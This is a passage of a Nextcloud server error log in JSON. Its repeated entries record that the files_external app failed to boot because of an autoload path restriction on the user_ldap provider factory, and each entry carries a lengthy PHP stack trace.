entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"AVKFbBf55Rwfk816ISB1","level":4,"time":"2022-11-09T12:55:40+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/apps/weather_status/api/v1/favorites","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"XrP7RgpYPqwiP2VuQk01","level":4,"time":"2022-11-09T12:55:41+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/core/preview?fileId=924&x=250&y=250","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"zXZQbeounWFawf1RBkNb","level":4,"time":"2022-11-09T12:55:41+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/core/preview?fileId=923&x=250&y=250","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line"